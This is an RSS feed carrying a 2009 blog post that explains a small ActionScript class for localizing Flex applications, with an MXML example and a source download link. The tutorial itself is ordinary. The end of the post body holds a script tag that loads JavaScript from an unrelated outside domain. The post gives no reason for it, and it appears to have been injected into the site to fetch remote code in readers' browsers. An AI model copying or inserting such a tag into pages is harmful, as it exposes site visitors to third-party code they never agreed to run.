<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; i18n</title>
	<atom:link href="http://www.myflexiblelife.com/tags/i18n/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to localize a Flex application easily</title>
		<link>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/</link>
		<comments>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 12:01:11 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[Application]]></category>
		<category><![CDATA[i18n]]></category>
		<category><![CDATA[l10n]]></category>
		<category><![CDATA[localization]]></category>
		<category><![CDATA[ResourceBundle]]></category>
		<category><![CDATA[ResourceManager]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=138</guid>
		<description><![CDATA[The LocalizableApplication is a tiny class I&#8217;ve written to facilitate the task of localizing a Flex application. A demo is shown below

Exploiting the LocalizableApplication class, writing a localizable application is as easy as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;wg:LocalizableApplication 
  xmlns:mx=&#34;http://www.adobe.com/2006/mxml&#34;
  xmlns:wg=&#34;com.webgriffe.core.*&#34; 
  layout=&#34;vertical&#34;&#62;
&#160;
  &#60;mx:Metadata&#62;
    [ResourceBundle(&#34;resource&#34;)]
  &#60;/mx:Metadata&#62;
&#160;
  &#60;mx:Script&#62;
 [...]]]></description>
			<content:encoded><![CDATA[<p>The <strong>LocalizableApplication</strong> is a tiny class I&#8217;ve written to facilitate the task of <strong>localizing a Flex application</strong>. A demo is shown below</p>
<p><iframe src="http://www.myflexiblelife.com/flex/localizedapp/LocalizedApplication.html" width="100%" height="120"></iframe></p>
<p>Exploiting the LocalizableApplication class, writing a localizable application is as easy as shown below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:LocalizableApplication</span> </span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.core.*&quot;</span> </span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
    [ResourceBundle(&quot;resource&quot;)]
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">  &lt;![CDATA[</span>
<span style="color: #339933;">    [Bindable]</span>
<span style="color: #339933;">    private var _locales:Array = [&quot;en_US&quot;, &quot;it_IT&quot;];</span>
&nbsp;
<span style="color: #339933;">    private function changeLocale():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var newLocale:String = myCombo.selectedItem as String;</span>
<span style="color: #339933;">      setLocale(newLocale);</span>
<span style="color: #339933;">    }</span>
<span style="color: #339933;">  ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;{__s('MY_TITLE')}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:ComboBox</span> id=<span style="color: #ff0000;">&quot;myCombo&quot;</span> </span>
<span style="color: #000000;">    dataProvider=<span style="color: #ff0000;">&quot;{_locales}&quot;</span> </span>
<span style="color: #000000;">    change=<span style="color: #ff0000;">&quot;changeLocale()&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;{__s('MY_TEXT')}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
&nbsp;
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:LocalizableApplication</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>The LocalizableApplication provides some <strong>helper functions </strong>which let you use something like <code>__s('MY_TITLE')</code> instead of <code>resourceManager.getString("resource", "MY_TITLE")</code>. Faster and easier, isn&#8217;t it?</p>
<p><a href="http://www.myflexiblelife.com/flex/localizedapp/srcview/LocalizedApplication.zip">Click here</a> to download full source code.</p>
<p>Enjoy!</p>
<h3>References</h3>
<ul>
<li><a title="Flex 3:Feature Introductions: Runtime Localization" href="http://labs.adobe.com/wiki/index.php/Flex_3:Feature_Introductions:_Runtime_Localization">Flex 3:Feature Introductions: Runtime Localization</a></li>
</ul>
<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
